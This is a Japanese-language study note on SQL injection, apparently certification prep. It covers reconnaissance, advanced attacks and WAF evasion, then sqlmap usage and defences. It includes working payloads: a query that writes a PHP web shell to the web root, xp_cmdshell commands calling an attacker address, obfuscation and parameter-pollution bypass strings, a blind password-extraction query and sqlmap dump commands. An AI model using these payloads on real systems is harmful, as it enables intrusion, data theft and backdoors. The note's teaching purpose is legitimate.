- 別名 SQLi
- 悪意のあるSQLクエリをアプリケーションに注入すること。
- 攻撃者は以下のことができます。
- システムへの不正アクセス(例:認証情報なしでのログイン
- データベースに保存されている情報の取得、変更、削除
- 例)新規ユーザーの挿入、パスワードの更新
- リモートでコードを実行する
- ウェブアプリケーションの不適切な入力検証を利用する
- コード・インジェクションという手法があります。
- 💡 管理画面でのテストが可能
- 例)google docs を使用して以下を検索する
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:adminlogin.aspx
- SQLインジェクションの脆弱性をテストするには、シングルクォート(
'
)を挿入するのがシンプルで簡単です。- 脆弱性が確認されれば、その後に他のSQLコードを追加することができます。
SQLインジェクションの手法
- 情報収集
- 例:データベースの構造、名前、バージョン、タイプ...
- 目的は、SQLインジェクションの脆弱性を特定することです。
- アプリケーションのエントリーポイントは、クエリを注入するためにテストされ、例えば、無効な入力フィールド。
- 💡 エラーメッセージを見ると、データベースの種類やバージョンに関する情報がわかります。
- SQLインジェクションについて
- データベースから名前、カラム名、レコードなどの情報を抽出する攻撃。また、データベースに特定の情報を挿入・更新することも可能です。
- 例:既存のユーザーのパスワードを変更したり、自分を新しいユーザーとして挿入してアクセス権を得る。
- 高度なSQLインジェクション
- OSやネットワークを危険にさらすことが目的
- 手法としては以下が一例になります。
- ファイルシステムへのアクセス
- 例:MySQLの場合
読み込みにはLOAD_FILE()、書き込みにはOUTFILE()
- 例:MySQLの場合
- ネットワーク情報の収集
- 例:DNSの逆引き
exec master...xp_cmdshell 'nslookup a.com MyIP'
- 例:Pingの逆引き
'; exec master..xp_cmdshell 'ping 10.0.0.75' --
- 例:DNSの逆引き
- 実行時にOSの関数を呼び出すコマンドの実行
- 例:MySQLの場合
CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'
.
- 例:MySQLの場合
- リモートシェルを使用してコマンドを実行するためのバックドアの作成
- 例:
SELECT '<?php exec($_GET[''cmd']); ?>' FROM usertable INTO dumpfile '/var/www/html/shell.php'
- 例:
- データベースを攻撃者のマシンに転送する
- 例:
OPENROWSET
を使用した場合
- 例:
- ファイルシステムへのアクセス
SQL evasion(回避)
- シグネチャベースの検出システムを回避するための入力文字列の難読化
- IP フラグメンテーション を使用し、オプションで異なる順序を試す。
シグネチャ検出に対する難読化
技法 | 平文 | 難読化されたテキスト |
---|---|---|
インラインコメント | select * from users |
s/**/ele/**/ct/**/*/**/from/**/users |
文字列のエンコーディング | e |
char(101) |
文字列の連結 | Hello |
'Hel'+'lo' |
難読化されたコード | /?id==1+union+(select+1,2+from+test.users) |
/?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) |
空白の操作 | OR 1 = 1 |
'OR'1'='1' |
16進数表記 (Hex encording) |
SELECT @@version = 31 |
SELECT @@version = 0x1F |
洗練されたマッチ | OR 1 = 1 |
OR 'hi' = 'hi' |
URLエンコーディング | select * from users |
select%20%2A%20from%20users |
Case Variation | select * from users |
SeLeCt * FrOM UsErs |
Null バイト | UNION SELECT.. |
%00' UNION SELECT.. |
変数宣言 | UNION Select Password |
; declare @sqlvar nvarchar(70); set @myVAR = N'UNI' + N'ON' + N'SELECT' + N'Password'); EXEC(@sqlvar) |
OWASP カテゴリ
- SQL injection bypassing WAF | OWASP
- 正規化
- コメントなどによる難読化
- 例:WAFは
/?id=1+union+select+1,2,3/*
をブロックします。 - 攻撃者が注入
/?id=1+un/**/ion+sel/**/ect+1,2,3--
- リクエストはWAFを通過し、SQLは以下
SELECT * from table where id =1 union select 1,2,3--
- HTTP Parameter Pollution (HPP) (HTTPパラメータ汚染)
- クエリ文字列に区切り文字を挿入する。
- 例:WAFは、
/?id=1+union+select+1,2,3/*
をブロックします。 - 攻撃者が注入
/?id=1&id=+&id=union=&id=+select+&1,2,3
- テスト例: google.com/search?q=hello&q=world
- HTTP Parameter Fragmentation (HPF)。
- バックエンドで複数のパラメータを使用して構築されたSQLを利用します。
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
- 例:WAFは、
/?a=1+union+select+1,2/*
をブロックします。 - 攻撃者が注入
/?a=1+union/*&b=*/select+1,2
- ブラインドSQLインジェクション
- WAFシグネチャを同義語に置き換える
- 例)WAFがブロックするのは
/?id=1+OR+0x50=0x50
です。 - 攻撃者は以下を注入します。
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1) ))=74
- シグネチャーバイパス
- 例)WAFのブロックが
/?id=1+OR+1=1
の場合 - 攻撃者は以下を注入します。
/?id=1+OR+0x50=0x50
- 例)WAFのブロックが
SQLインジェクションツール
- sqlmap
- 自動SQLインジェクションとデータベース乗っ取りツール
- プロキシとしてBurp Suiteを実行するなどして取得可能なセッションが必要です。
- 例えば、以下を実行します。
sqlmap -u https://cloudarchitecture.io/?id=3&Submit=Submit --cookie 'PHPSESSID=63j6; security:low'
- 次のような出力が得られます。
GET parameter id appears to be MySQL >= 5.0.12 AND time-based blind injectable
GET parameter id is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
--dbs
パラメータはデータベース名を取得します。
例:mysql, phpmyadmin...
-D <データベース名> --tables
パラメータは指定されたデータベース名からテーブルをリストアップします。-T <テーブル名> --columns
はカラム名を指定します。-C <コンマで区切られたカラム名> --dump
でカラムを取得します。- ハッシュをクラックすることもできます(
hashcat
ほど速くはありません)。
- jSQL インジェクション
- 古いツールとして以下があります。
- モバイルツール
- sqlmapchik for Android - GUI for sqlmap
- Andro Hackbar for Android
- SQLインジェクション検出ツールもご参照ください。
SQLインジェクション対策
攻撃手法の弱点 #1:データベースサーバーはOSのコマンドを実行することを利用
- 最小限の権限でデータベースを動かす
xp_cmdshell
のようなOSのコマンドを無効にする(シェルにアクセスするため)xp_cmdshell
を起動すると、Windowsのコマンドシェルが起動し、入力文字列が渡されて実行される。- サーバーへのローカルシステムレベルのアクセスを提供します。
攻撃手法の弱点 #2:特権アカウントを使用したデータベースへの接続
- IDSによるDBトラフィックの監視
- データベースにアクセスするアカウント/アプリケーションに最小特権ルールを適用する
攻撃手法の弱点 #3:重要な情報を示すエラーメッセージ
- すべてのエラーメッセージを抑制する
- カスタムエラーメッセージの使用
攻撃手法の弱点 #4:サーバーでのデータ検証を行わない
- すべてのクライアントデータのフィルタリングとサニタイズ
- サイズとデータタイプのチェックにより、バッファオーバーランを防止
-
例として
c#
// 脆弱なコード。
var command = new SqlCommand("SELECT * FROM table WHERE name = " + login.Name, connection);
// 安全なコード
var command = new SqlCommand("SELECT * FROM table WHERE name = @name ", connection);
command.Parameters.Add("@name", SqlDbType.NVarChar, 20).Value = login.Name;
攻撃手法の弱点 #5: 一貫したコーディングスタンダードの実装
- サーバーサイド入力検証、データアクセス抽象化レイヤー、カスタムエラーメッセージ。
攻撃手法の弱点 #6: SQLサーバーのファイアウォール化
- Webサーバと管理者からのアクセスのみ許可